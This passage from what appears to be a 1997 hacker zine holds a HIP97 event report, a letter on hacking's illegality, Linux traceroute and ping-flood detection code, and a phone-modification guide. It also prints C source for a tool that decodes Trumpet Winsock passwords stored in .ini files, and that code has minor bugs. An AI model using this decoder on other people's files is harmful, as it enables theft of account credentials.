weren't any young kids trashing anything, there weren't any stairwells to
|
|||
|
flood, no one set off any fire alarms or randomly destroyed anything through
|
|||
|
boredom, and generally the people who attended had a lot of respect for the
|
|||
|
event and the organisers. Which means that no one I saw acted like a total
|
|||
|
wanker and no one is going to run the event out of town.
|
|||
|
|
|||
|
On a personal note it was brilliant meeting people there and hearing of some of
|
|||
|
the most recent projects people had on the go. Since the last time this event
|
|||
|
was held (HEU, 'Hacking at the End of the Universe' held at the same spot in
|
|||
|
1993), the hacker scene has changed.
|
|||
|
|
|||
|
One difference that struck me straight away was the fact that there were just
|
|||
|
as many females as males. And these women weren't girlfriends or hacker ho's
|
|||
|
but women that are getting to grips with the technology and using it for
|
|||
|
various projects.
|
|||
|
|
|||
|
Felipe Rodrigez who started Hack-tic along with Rop Gonggrip back in the early
|
|||
|
days of Holland's hacking scene, has always been active on the political front
|
|||
|
"For us, things have changed. They used to call us criminals and think of us
|
|||
|
as terrorists. Now we advise the Ministry of Justice. We're the only ones
|
|||
|
who know the technology here."
|
|||
|
|
|||
|
Rodrigez also believes that hacking is still a very useful tool in countries
|
|||
|
like Peru or Serbia where the state is unfair and citizens need to "defend
|
|||
|
themselves." This view has made him unpopular with the secret services who
|
|||
|
consider the former Hack-tic more dangerous now that they have power in the
|
|||
|
business community in Holland.
|
|||
|
|
|||
|
Though things may have changed since the early days of hacking, the European
|
|||
|
scene seems to have become something more grown up. "The hacker scene is now
|
|||
|
pockets of culture. There's alternative media, the old hacker culture, the
|
|||
|
Unix hackers, irc, even astronomers who are into their own computer culture.
|
|||
|
It's now for all of the people, which is why we call it Hacking in Progress,
|
|||
|
we have progressed"
|
|||
|
|
|||
|
As a summation, HIP was fantastic. It was brilliant to see most of the people
|
|||
|
I have known in the European scene in one place and to meet some new people
|
|||
|
who I will definitely keep in touch with the coming years. I'm really looking
|
|||
|
forward to the next one! If you want photos and other articles check out the
|
|||
|
HIP site at www.hip97.nl.
|
|||
|
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
To: All it may concern
|
|||
|
|
|||
|
It has come to my attention, that people are forgetting what
|
|||
|
hacking is. I'm not speaking about the freedom of information, or the
|
|||
|
pursuit of learning.. I'm talking about the fact that it is illegal and
|
|||
|
against the law.. I hear left and right.. " So and So has been busted..
|
|||
|
lets protest.. Let's get the Hacker Defense Fund(TM) to help us! "
|
|||
|
|
|||
|
Hey time to wake up.. YOU ARE A CRIMINAL IF YOU ARE COMPROMISING THE SECURITY
|
|||
|
OF SITES/PHONE SYSTEMS/ETC..
|
|||
|
|
|||
|
Not a rant, just a note that it's time to face up to your responsibilities..
|
|||
|
|
|||
|
- Someone
|
|||
|
|
|||
|
0x3>-------------------------------------------------------------------------
|
|||
|
|
|||
|
/*
|
|||
|
TRUMPET WINSOCK PASSWORD HACKER by DOCTOR JEEP 11/96
|
|||
|
|
|||
|
erode@avana.bbs.comune.roma.it
|
|||
|
|
|||
|
written for Turbo C 2.0 (C) (old but cheap :) )
|
|||
|
|
|||
|
The author doesn't take any responsabilities for any proper/improper use of
|
|||
|
this program.
|
|||
|
*/
|
|||
|
|
|||
|
<++> winsock_passwd_hack.c
|
|||
|
#include <stdio.h>
|
|||
|
unsigned char
|
|||
|
spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78};
|
|||
|
unsigned char name[34], fono[33], passc[33],riga[33],passd[23];
|
|||
|
unsigned char user[11]="$username=", tele[9]="$number=",
|
|||
|
pass[11]="$password=";
|
|||
|
|
|||
|
FILE *f1;
|
|||
|
int i,v,c,k;
|
|||
|
|
|||
|
decodi (int ver) {
|
|||
|
int ls,b;
|
|||
|
if (ver==20) ls=10;
|
|||
|
if (ver==21) ls=11;
|
|||
|
b=strlen(passc);
|
|||
|
for (i=ls;i<b;i++) {
|
|||
|
v = passc[i];
|
|||
|
v = v + 32 - spazio[i-ls];
|
|||
|
if (v < 32) v = v + 96;
|
|||
|
if (i-10<21) passd[i-ls] = v;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
scrivi(int n, int st, unsigned char str[], char messaggi[])
|
|||
|
{
|
|||
|
c=strlen(str);
|
|||
|
printf("%s",msg);
|
|||
|
for(k=n;k<c-st;k++) {
|
|||
|
printf("%c",str[k]);
|
|||
|
}
|
|||
|
printf("\n");
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
main (argc,argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
printf("\n\nTrumpet Password Hacker by Doctor Jeep 96 NO (C)\n\n");
|
|||
|
if(argc!=2) {
|
|||
|
printf ("Specify the trumpet .ini file with his path \n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
f1=fopen(argv[1],"r");
|
|||
|
if (f1==NULL) {
|
|||
|
printf("\nUnable to open configuration file");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
printf("\n");
|
|||
|
while(!feof(f1))
|
|||
|
{
|
|||
|
fgets(riga,32,f1);
|
|||
|
if (strspn(riga,pass)==10) strcpy(passc,riga);
|
|||
|
if (strspn(riga,user)==10) strcpy(name,riga);
|
|||
|
if (strspn(riga,tele)==8) strcpy(fono,riga);
|
|||
|
}
|
|||
|
fclose(f1);
|
|||
|
|
|||
|
|
|||
|
|
|||
|
scrivi (8,1,fono,"Server's Tel. #: ");
|
|||
|
scrivi (10,1,name,"Username: ");
|
|||
|
decodi (20);
|
|||
|
scrivi (0,1,passd,"Trumpet 2.0 password: ");
|
|||
|
decodi (21);
|
|||
|
scrivi(0,3,passd,"Trumpet 2.1F password: ");
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
/* END OF FILE by Doctor Jeep */
|
|||
|
|
|||
|
|
|||
|
0x4>-------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
Tools for (paranoid ?) linux users
|
|||
|
|
|||
|
by whynot AKA baldor
|
|||
|
|
|||
|
-> you need basic TCP/IP knowledge to understand this article <-
|
|||
|
|
|||
|
Recently not only then number of attacks on big / commercial servers and
|
|||
|
machines with fast connections has increased, but even users with dial-in
|
|||
|
computers have been attacked or spied on. A good example is the winnuke.c
|
|||
|
program that has been released on BugTraq and has been used excessively.
|
|||
|
Although these attacks are not as "threatening" as the attacks that are
|
|||
|
launched against big servers it can get really annoying if some idiot
|
|||
|
frequently tries to hack you / takes your machine down / delays you.
|
|||
|
|
|||
|
Most Linux distributions have reacted to this development and made their
|
|||
|
telnet/ftp/whatever servers log every access. In this way you can easily put
|
|||
|
annoying hosts into /etc/hosts.deny. But in my opinion there are (at least)
|
|||
|
two things missing which I want to discuss in detail...
|
|||
|
|
|||
|
1. Detecting traceroutes
|
|||
|
|
|||
|
Traceroute is a really powerful command, which is often used to detect where
|
|||
|
the computer that is being tracerouted is located and to which network it is
|
|||
|
connected. Because of some simple reasons you can *not* simply make it
|
|||
|
impossible for people to traceroute you, so the best you can do is detect *if*
|
|||
|
someone traceroutes you, find out *who* tracerouted you and confuse him a bit.
|
|||
|
|
|||
|
1.1 How does traceroute work ?
|
|||
|
|
|||
|
Basically traceroute just sends out IP/UDP probe-packets to the specified host.
|
|||
|
To find out how the packet is routed (through which hosts it is going)
|
|||
|
traceroute uses the TTL (time to live) field of the IP header. This TTL field
|
|||
|
specifies an upper limit of how many routers this packet can pass through
|
|||
|
before it gets dropped. Every router decreases the value of the field when
|
|||
|
the packet in question arrives, until it becomes 0. If this happens the
|
|||
|
router sends back an ICMP TIME_EXCEED to the sender of this packet (which is
|
|||
|
the host that is tracerouting).
|
|||
|
|
|||
|
So the strategy traceroute uses to trace the path of a packet is to send
|
|||
|
out packets to the target host putting an increasing value (starting with 1)
|
|||
|
into the TTL field. If a host reports ICMP TIME_EXCEED traceroute prints out
|
|||
|
its address and the time that passed from the sending of the IP/UDP probe
|
|||
|
packet until the receiving of the ICMP TIME_EXCEED. After that it will
|
|||
|
prepare a new probe packet with an IP TTL one greater then the previous packet.
|
|||
|
|
|||
|
Traceroute will continue doing this until it receives an ICMP PORT_UNREACHABLE
|
|||
|
packet from the target address, or the max hop count has been reached (defaults
|
|||
|
to 30).
|
|||
|
|
|||
|
To understand this we should take a look at the UDP part of the packet we
|
|||
|
talked about above. To detect somehow that it finally reached the target host
|
|||
|
and should not try to go any further traceroute uses the connectionless UDP
|
|||
|
protocol. The UDP part of the probe-packet is addressed to a port which is
|
|||
|
barley/never used (in nearly all Unix implementations 33434+ the TTL included
|
|||
|
in the IP-Packet). Since (normally) nothing is listening on port 33434 (and
|
|||
|
above) the target host sends back an ICMP PORT_UNREACHABLE signal that tells
|
|||
|
traceroute that it reached the target host and can stop sending any more
|
|||
|
packets.
|
|||
|
|
|||
|
Since the strategy of traceroute is a bit complex here is an (a bit simplified)
|
|||
|
example. Let's say that you are host "source" and tracerouting your way to
|
|||
|
host "target".
|
|||
|
|
|||
|
source:/root # traceroute target
|
|||
|
traceroute to target (134.2.110.94), 30 hops max, 40 byte packets
|
|||
|
|
|||
|
Now source sends out a probe packet to target (port 33434) with a TTL of
|
|||
|
1. The packet is passing "some_host" and the router decreases the TTL of
|
|||
|
the packet. It recognizes that the packet has "expired" (TTL=0) and sends
|
|||
|
back an ICMP TIME_EXCEED to source. Now traceroute uses the information
|
|||
|
included in this packet to print out data about the first host the packets
|
|||
|
to target are passing:
|
|||
|
|
|||
|
1 some_host (142.45.23.1) 2.456 ms
|
|||
|
|
|||
|
Another probe packet is sent out by source, this time the TTL is 2 and the
|
|||
|
port is 33434+1 = 33435. It gets back another ICMP TIME_EXCEED packet
|
|||
|
this time from another_host:
|
|||
|
|
|||
|
2 another_host (142.45.10.1) 3.983 ms
|
|||
|
|
|||
|
The third Probe has the TTL set to 3 and is addressed to port 33436.
|
|||
|
Traceroute now gets back an ICMP PORT_UNREACHABLE from "target":
|
|||
|
|
|||
|
3 target (142.45.10.13) 4.032 ms
|
|||
|
|
|||
|
That's it ! Traceroute now finished its job and quits.
|
|||
|
|
|||
|
source:/root #
|
|||
|
|
|||
|
Please note that traceroute by default sends out three packets containing
|
|||
|
the same TTL (each packet to an increasing port number) to determine the
|
|||
|
answering time of a host more accurately. In reality, a traceroute output
|
|||
|
therefore looks like this:
|
|||
|
|
|||
|
traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
|
|||
|
1 localhost (127.0.0.1) 1.983 ms 1.304 ms 0.934 ms
|
|||
|
|
|||
|
|
|||
|
1.2 The strategy behind the traceroute-detector
|
|||
|
|
|||
|
Knowing how traceroute works it is very easy to detect. Simply set up
|
|||
|
sockets listen()ing to the ports 33434 and above and react if they receive
|
|||
|
any packets. You can even try to guess how many hops the host that is
|
|||
|
tracerouting you is away by subtracting 33434 from the port-number you
|
|||
|
received the packet on and dividing the result by three.
|
|||
|
|
|||
|
Listening to the port traceroute sends the probe-packet to also produces a
|
|||
|
funny effect: traceroute will neither get back an ICMP TIME_EXCEED nor
|
|||
|
an ICMP PORT_UNREACHABLE signal. Therefore it will timeout waiting for the
|
|||
|
reply and put a * into your hosts entry. Because of the timeout
|
|||
|
traceroute will *not* recognize that it already reached its target and
|
|||
|
continue sending probe-packets until the maximum number of hops is
|
|||
|
reached.
|
|||
|
|
|||
|
With the little program detecttr running (and listening to ports 33434 -
|
|||
|
33434*30*3) a traceroute localhost looks like this:
|
|||
|
|
|||
|
schnecke:/root # traceroute localhost
|
|||
|
traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
|
|||
|
1 * * *
|
|||
|
2 * * *
|
|||
|
.
|
|||
|
.
|
|||
|
.
|
|||
|
30 * * *
|
|||
|
|
|||
|
|
|||
|
|
|||
|
1.3 Problems detecting traceroutes
|
|||
|
|
|||
|
The only problem with detecting traceroutes is that one might select
|
|||
|
another base-port number than the default or use another technique.
|
|||
|
I have never seen any people doing this though. So if just an average
|
|||
|
idiot (or wannabe "hAx0r") is tracerouting you chances are really high
|
|||
|
that you detect it.
|
|||
|
|
|||
|
If you are *really* paranoid about traceroutes you should not use the
|
|||
|
ports to detect a trace but edit the file that deals with UDP packets.
|
|||
|
This /usr/src/linux/net/ipv4/udp.c
|
|||
|
|
|||
|
(NOTE: this file is a part of the kernel. Recompile your kernel to make
|
|||
|
changes take effect)
|
|||
|
|
|||
|
Insert the line:
|
|||
|
|
|||
|
printk(KERN_INFO "UDP: packet sent to unreachable port by %s !\n",
|
|||
|
in_ntoa(daddr));
|
|||
|
|
|||
|
before line 833:
|
|||
|
|
|||
|
ICMP_send(ski,ICMP_BEST_UNTEACH, ICMP_PORT_UNTEACH, 0, de);
|
|||
|
|
|||
|
This will make the system log *all* requests to unreachable ports that are
|
|||
|
delivered through the UDP protocol. Please note that the funny effect
|
|||
|
described in 1.2 will not occur (which can also be an advantage).
|
|||
|
|
|||
|
BTW: Please be careful while editing the kernel - you need it :)
|
|||
|
|
|||
|
1.4 Sample Implementation
|
|||
|
|
|||
|
detecttr.c -> see the end of this file
|
|||
|
|
|||
|
|
|||
|
2. Detecting pings
|
|||
|
|
|||
|
There has been a lot of discussion about ping in the last few months
|
|||
|
because it was often used to transmit oversized packets to other hosts
|
|||
|
resulting in crashes. Although this bug has been fixed on most hosts
|
|||
|
already ping still is very popular to slow down people who are connected
|
|||
|
to the net through modem lines until they drop carrier themselves because
|
|||
|
of the BIG lag.
|
|||
|
|
|||
|
You can *not* prevent people from pinging you (without having your ISP
|
|||
|
blocking all ICMP_ECHO requests to your host) and therefore causing
|
|||
|
traffic on your modem line. But you can actually detect *who* pinged you,
|
|||
|
determine the ping-packet size and decide not to reply (this *may* reduce
|
|||
|
the data over your modem line up to factor 2).
|
|||
|
|
|||
|
2.1 How does ping work and how do people slow down others by using ping ?
|
|||
|
|
|||
|
Simplified ping sends a packet containing an ICMP_ECHO and some data to the
|
|||
|
target which will reply with an ICMP_ECHOREPLY packet that contains the data
|
|||
|
sent to it (only some fields are modified).
|
|||
|
|
|||
|
Normally ping will wait about 1 sec before it sends the next ICMP_ECHO. On
|
|||
|
many implementations of ping you can bypass this and do a "floodping" which
|
|||
|
will *not* wait but just send the packets as fast as possible. If you choose
|
|||
|
a big packet size for the ping packet and you are pinging your victim from a
|
|||
|
host with a fast connection (T1 or Ethernet) this will cause a lot of traffic
|
|||
|
on your victims modem line and therefore slow him down to a halt.
|
|||
|
|
|||
|
2.2 How can I detect a ping and how do I prevent being flooded ?
|
|||
|
|
|||
|
Since a ping is nothing more than a ICMP_ECHO with some data appended to it
|
|||
|
you can simply intercept it, extract the senders address and the packet size
|
|||
|
from it and decide whether you want to reply or not. For non-floodpings you
|
|||
|
can reduce the amount of data transferred over your modem line simply by
|
|||
|
choosing not to reply. But if someone is floodpinging you it does not help
|
|||
|
much to not reply to the ping packets --> the incoming ping packets will
|
|||
|
probably cause enough traffic to slow you down (unless the host where
|
|||
|
floodpings come from is has a slow connection). At least you can give it a
|
|||
|
try anyway...
|
|||
|
|
|||
|
2.3 Sample implementation
|
|||
|
|
|||
|
The handling of the ICMP_ECHO is done in the kernel. Edit your
|
|||
|
/usr/src/linux/net/ipv4/icmp.c file and search for the section "Handle
|
|||
|
ICMP_ECHO". These 16 lines of code are all you need to modify to defend
|
|||
|
yourself against / detect ping-floods.
|
|||
|
|
|||
|
If you know a little C you can easily see that there exists a define
|
|||
|
"CONFIG_IP_IGNORE_ECHO_REQUESTS" which you can set to have the kernel just
|
|||
|
ignore all incoming ICMP ECHO_REQUESTs. But we want to be more selective. We
|
|||
|
want to log all pings that are sent to our machine. We do this by inserting
|
|||
|
the line
|
|||
|
|
|||
|
printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr),
|
|||
|
icmp_param.data_len);
|
|||
|
|
|||
|
before the #endif.
|
|||
|
|
|||
|
You can easily change the "Handle ICMP_ECHO" section so that your machine
|
|||
|
only replies to ICMP ECHO_REQUESTs that do not carry too much data and
|
|||
|
ignore the pings with big packet sizes:
|
|||
|
|
|||
|
<++> DTR/icmp.patch
|
|||
|
static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len)
|
|||
|
{
|
|||
|
#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS
|
|||
|
struct icmp_bxm icmp_param;
|
|||
|
if (len <= 1000) { /* we only reply to pings that do carry less than 1k data */
|
|||
|
icmp_param.icmph=*icmph;
|
|||
|
icmp_param.icmph.type=ICMP_ECHOREPLY;
|
|||
|
icmp_param.data_ptr=(icmph+1);
|
|||
|
icmp_param.data_len=len;
|
|||
|
if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0)
|
|||
|
icmp_build_xmit(&icmp_param, daddr, saddr, skb->ip_hdr->tos);
|
|||
|
printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n", in_ntoa(saddr),icmp_param.data_len);
|
|||
|
}
|
|||
|
else
|
|||
|
printk(KERN_INFO "ICMP: possible FLOOD DETECTED by %s, packetsize = %d \n", in_ntoa(saddr),len );
|
|||
|
#endif
|
|||
|
kfree_skb(skb, FREE_READ);
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
<++> DTR/detecttr.c
|
|||
|
/*
|
|||
|
* detecttr.c - by whynot AKA baldor (whynot@cyberjunkie.com)
|
|||
|
* created: 08.05.97
|
|||
|
* last modified: 11.07.97
|
|||
|
* Platforms: Linux, FreeBSD should work with other POSIX-systems too.
|
|||
|
*
|
|||
|
* Compile:
|
|||
|
* just the usual "gcc -o detecttr detecttr.c" for GNU C and
|
|||
|
* "cc -o detecttr detecttr.c" for other compilers...
|
|||
|
*
|
|||
|
* Usage:
|
|||
|
* Just run this program at the startup of your machine - it will stay in
|
|||
|
* the background until someone traceroutes you. It only uses a *tiny* bit
|
|||
|
* of your memory and nearly 0% CPU :)
|
|||
|
*
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <string.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/wait.h>
|
|||
|
#include <sys/time.h>
|
|||
|
#include <sys/signal.h>
|
|||
|
#include <sys/syslog.h> /* simply comment this out if you don't have syslog.h */
|
|||
|
#include <netdb.h>
|
|||
|
|
|||
|
|
|||
|
#define MAXBUFLEN 200
|
|||
|
#define MYPORT 33435
|
|||
|
#define NUMPORTS 30*3
|
|||
|
|
|||
|
int sockfd[NUMPORTS];
|
|||
|
|
|||
|
|
|||
|
void shutitdown()
|
|||
|
{
|
|||
|
|
|||
|
int w;
|
|||
|
char buf[50];
|
|||
|
for (w=0; w<NUMPORTS; w++)
|
|||
|
close(sockfd);
|
|||
|
sprintf (buf,"DetectTraceroute terminated\n");
|
|||
|
syslog(LOG_NOTICE , buf);
|
|||
|
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
|
|||
|
char *getname (struct in_addr addr)
|
|||
|
{
|
|||
|
struct hostent *h;
|
|||
|
int w;
|
|||
|
char foo[4]; /* the 4 numbers as ASCII-Values per char */
|
|||
|
int tmpint[4]; /* used to convert from a string to 4 numbers */
|
|||
|
char tmpbuf[20];
|
|||
|
|
|||
|
sprintf(tmpbuf, "%s", inet_ntoa(addr));
|
|||
|
|
|||
|
if ( sscanf(tmpbuf,"%d.%d.%d.%d", &tmpint[0], &tmpint[1], &tmpint[2], &tmpint[3]) != 4) {
|
|||
|
printf ("Error while detecting hostname !\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
for(w=0; w<4; w++) foo[w]=tmpint[w];
|
|||
|
|
|||
|
if ( (h=gethostbyaddr(foo, 4, AF_INET)) == NULL) {
|
|||
|
herror("gethostbyaddr");
|
|||
|
exit(1);
|
|||
|
|
|||
|
}
|
|||
|
return h->h_name;
|
|||
|
}
|
|||
|
|
|||
|
main(int argc, char *argv[])
|
|||
|
{
|
|||
|
int hops;
|
|||
|
struct sockaddr_in my_addr;
|
|||
|
struct sockaddr_in remote_addr;
|
|||
|
int addr_len, numbytes;
|
|||
|
char buf[MAXBUFLEN];
|
|||
|
int w;
|
|||
|
fd_set readfds;
|
|||
|
|
|||
|
|
|||
|
if( fork() !=0 ) return(0); /* we don't want to use that annonying & */
|
|||
|
|
|||
|
|
|||
|
signal(SIGHUP, SIG_IGN); /* ignore SIGHUP */
|
|||
|
|
|||
|
signal(SIGTERM, shutitdown); /* clean shutdown */
|
|||
|
|
|||
|
for(w=0; w<NUMPORTS; w++) {
|
|||
|
|
|||
|
if ( (sockfd[w] = socket( AF_INET, SOCK_DGRAM, 0)) == -1) {
|
|||
|
perror("socket");
|
|||
|
exit(1);
|
|||
|
|
|||
|
}
|
|||
|
my_addr.sin_family = AF_INET;
|
|||
|
my_addr.sin_port = htons (MYPORT+w);
|
|||
|
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
|
|||
|
|
|||
|
bzero(& (my_addr.sin_zero), 8);
|
|||
|
|
|||
|
if ( bind (sockfd[w], (struct sockaddr *)&my_addr, sizeof (struct sockaddr) ) == -1) {
|
|||
|
perror("bind");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
FD_ZERO(&readfds);
|
|||
|
for(w=0; w<NUMPORTS; w++)
|
|||
|
FD_SET(sockfd[w], &readfds);
|
|||
|
|
|||
|
|
|||
|
sprintf (buf,"DetectTraceroute successfully started\n");
|
|||
|
syslog(LOG_NOTICE , buf);
|
|||
|
|
|||
|
while(1) {
|
|||
|
select(sockfd[NUMPORTS-1]+1, &readfds, NULL, NULL, NULL);
|
|||
|
|
|||
|
for (w=0; w < NUMPORTS; w++) {
|
|||
|
if (FD_ISSET(sockfd[w], &readfds))
|
|||
|
hops = w;
|
|||
|
}
|
|||
|
|
|||
|
addr_len = sizeof(struct sockaddr);
|
|||
|
|
|||
|
if ((numbytes=recvfrom(sockfd[hops], buf, MAXBUFLEN, 0, (struct sockaddr *)&remote_addr, &addr_len)) == -1) {
|
|||
|
perror("recvfrom");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
/* we use buf for misc stuff O:-) */
|
|||
|
sprintf (buf,"TRACEROUTE from IP %s. Hostname: %s HOPS: %d", inet_ntoa(remote_addr.sin_addr), getname(remote_addr.sin_addr), hops / 3 +1);
|
|||
|
syslog(LOG_NOTICE , buf);
|
|||
|
FD_ZERO(&readfds);
|
|||
|
for(w=0; w<NUMPORTS; w++)
|
|||
|
FD_SET(sockfd[w], &readfds);
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
0x5>-------------------------------------------------------------------------
|
|||
|
|
|||
|
| |||| |||||[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
|
|||
|
| | | ||| |||[ The Street Phreak's Phone Mods vol. 1 ]
|
|||
|
| | ||||||||||[ Jex {612} ]
|
|||
|
| | |||| || |[ <jex@teenworld.poboxes.com> ]
|
|||
|
| || | ||||||[_______________________________________]
|
|||
|
|
|||
|
[intr0]
|
|||
|
|
|||
|
97.07.01
|
|||
|
|
|||
|
This project is a result of a need to have a more versatile phone for at
|
|||
|
home and in the field. Many "phone modification" files have been floating
|
|||
|
around the scene for quite some time - some are incomplete, inaccurate, or
|
|||
|
would be better taken advantage of if they were all integrated. This project
|
|||
|
should be a good starting point for making your phone elite.
|
|||
|
|
|||
|
The following modifications are divided into two primary parts: The first
|
|||
|
being made to your phone directly, and the second being as a separate
|
|||
|
component.
|
|||
|
|
|||
|
[part 1: m0d me]
|
|||
|
|
|||
|
Teq:
|
|||
|
----
|
|||
|
2 1/8" mono jack (or stereo with tips tied) 274-274 2/$1.89 U1, U2
|
|||
|
2 SPDT slide switch 275-409 2/$1.19 SW1, SW3
|
|||
|
1 100k single turn pot 271-092 $1.29 R2
|
|||
|
1 Mini red LED 276-026 2/$0.99 D1
|
|||
|
1 Hallmark Digital Greeting Card (optional) (Hallmark) 1/$8-10 IC1
|
|||
|
1 6v power source (optional)
|
|||
|
1 SPST normally closed momentary (optional) 275-1548 4/$2.89 SW2
|
|||
|
1 10k (optional) 271-1335 5/$0.49 R1
|
|||
|
|
|||
|
|
|||
|
Since I'm cool, I'll give you a rough walk-through on the construction along
|
|||
|
with the schematic. The phone modifications were kept to a minimum, since you
|
|||
|
most likely want the majority of your cute toys in the modular component. I
|
|||
|
would like to make these devices modular as well at some point in the future
|
|||
|
- if anybody would like to beat me to it, by all means.
|
|||
|
|
|||
|
|
|||
|
--[ring switch]----------------------------------------------------------------
|
|||
|
|
|||
|
1. Desolder wire off one pad of the piezo element (ringer)
|
|||
|
2. Connect desoldered *pad* to right pole of SPDT
|
|||
|
3. Connect desoldered *wire* to center pole of SPDT
|
|||
|
4. Connect LED to left pole of SPDT
|
|||
|
5. Connect other side of LED to the pad of piezo element with the origional
|
|||
|
wire
|
|||
|
|
|||
|
(Note: You should now be able to select between an audible ring and the
|
|||
|
flashing light. If the LED does not light but the ringer works, switch
|
|||
|
the wires going to the LED as the anode/cathode are not in the right
|
|||
|
positions.)
|
|||
|
|
|||
|
|
|||
|
--[in jack]--------------------------------------------------------------------
|
|||
|
|
|||
|
6. Desolder wire (-v, probably black) off one pad of the microphone
|
|||
|
7. Connect desoldered *wire* to center pole of SPDT
|
|||
|
8. Connect recently desoldered *pad* to right pole of SPDT
|
|||
|
9. Connect tip (or base) of U1 to left pole of SPDT
|
|||
|
10. Connect base (or tip) of U1 to the center pole of R2
|
|||
|
11. Connect side pole of R2 to the pad of the mic with the original wire
|
|||
|
|
|||
|
(Note: You should now have the ability to switch between the audio jack and
|
|||
|
the mic. This is necessary as the audio jack always drowns-out the mic,
|
|||
|
even when it is doing something such as playing "UN-noise" while a tape
|
|||
|
rewinds. This also serves as a mute switch.)
|
|||
|
|
|||
|
--[out jack]-------------------------------------------------------------------
|
|||
|
|
|||
|
12. Connect U2 in parallel with the speaker.
|
|||
|
|
|||
|
(Note: Out jack.)
|
|||
|
|
|||
|
|
|||
|
--[optional digital recorder]-------------------------------------------------
|
|||
|
|
|||
|
13. Desolder mic from Hallmark card (IC1), it will not be used
|
|||
|
14. Connect desoldered mic wires to the base and tip of U2 in parallel
|
|||
|
(isolated)
|
|||
|
15. Desolder speaker from IC1, it will not be used
|
|||
|
16. Desolder one speaker wire, it will not be used
|
|||
|
17. Connect the other speaker wire to R1
|
|||
|
18. Connect other side of R1 to the mic pad that has the original (v+) wire
|
|||
|
and R2 connect to it
|
|||
|
19. Desolder "play switch" paying attention to how it is connected, it sucks
|
|||
|
20. Connect SW2 in it's place
|
|||
|
21. Connect v- (black wire) of 6v power source to SW2
|
|||
|
22. Connect v+ to IC1
|
|||
|
|
|||
|
(Note: You should now be able to record from the mic and jack, and be able to
|
|||
|
play it back into the phone.)
|
|||
|
|
|||
|
|
|||
|
[part 2: c0nstructi0n 0f p0w-paq]
|
|||
|
|
|||
|
Teq:
|
|||
|
----
|
|||
|
8 DPDT slide switch 275-403 2/$1.39 SW1, SW2,
|
|||
|
SW3, SW6,
|
|||
|
SW7, SW8,
|
|||
|
SW9, SW12
|
|||
|
2 SPST slide switch 275-401 2/$1.19 SW4, SW10
|
|||
|
2 DPST slide switch (substitute with 2 DPDT) 275-403 2/$1.39 SW5, SW11
|
|||
|
2 Dual polarity LED (phreakz discretion- 2 LED1, LED3
|
|||
|
LEDs in parallel, or a
|
|||
|
2 pin Dual LED package)
|
|||
|
6 6P4C Modular Jack (try DigiKey, www.digikey.com)
|
|||
|
|
|||
|
|
|||
|
Parasitic Tap Detectors:
|
|||
|
------------------------
|
|||
|
2 15v Zener Diode 276-564 2/$0.99 D2, D4
|
|||
|
2 Mini Red LED 276-026 2/$0.99 LED2, LED4
|
|||
|
2 Bridge Rectifier 276-1161a 1/$0.99 D1, D3
|
|||
|
|
|||
|
(Note: I substituted the 1N914/4148 Silicon Diode for the Zener and it seems to
|
|||
|
work fine, 276-1122, 10/$1.19)
|
|||
|
|
|||
|
|
|||
|
As you may of noticed, the Parasitic Tap Detectors are taken straight from
|
|||
|
the article Tap Alert in 2600 vol 13 iss 1, credit is given to No Comment and
|
|||
|
Crash Test Idiot.
|
|||
|
|
|||
|
Now, what all this is. You have two primary inputs, and one master input in
|
|||
|
case you have a single connector with two lines on it. There are two
|
|||
|
"outputs", whose function is up to you (these are optional). Now you are left
|
|||
|
with one master output, whose function should be obvious.
|
|||
|
|
|||
|
SW1 & SW7 change between the "outer" and "inner" wires, in other words
|
|||
|
Red/Green vs. Black/Yellow. SW2 & SW8 reverse polarity of the line (one is
|
|||
|
optional). SW3 & SW9 serve as polarity detectors, lighting one color for a
|
|||
|
certain polarity and another color for the other polarity (one is optional).
|
|||
|
SW4 & SW10 make use of the tap detectors. Most of the time you will not be
|
|||
|
using the tap detectors as they can have problems with the other devices on the
|
|||
|
line, experiment. SW5 & SW11 are primary line power switches, make the line go
|
|||
|
off or on. SW6 & SW12 are hold switches for each line, when they are both "off
|
|||
|
hold" you may conference the two lines.
|
|||
|
|
|||
|
The polarity changers are a must - often times store-bought telephone cables
|
|||
|
reverse voltage, and even your wall jack might have non-uniform polarities. To
|
|||
|
use both lines at once, the polarity for each line must be the same, this can
|
|||
|
be achieved by throwing just one switch if they are reversed (it's an either/or
|
|||
|
state).
|
|||
|
|
|||
|
If you find any errors or corrections you would like to make, or you just
|
|||
|
need a shoulder to cry on, my email is listed above. Any upd8s can be found at
|
|||
|
http://www.geocities.com/SiliconValley/Heights/1334, thanks for playing.
|
|||
|
|
|||
|
|
|||
|
[schematix]
|
|||
|
|
|||
|
The top of the diagram has the modifications to be made to the phone unit
|
|||
|
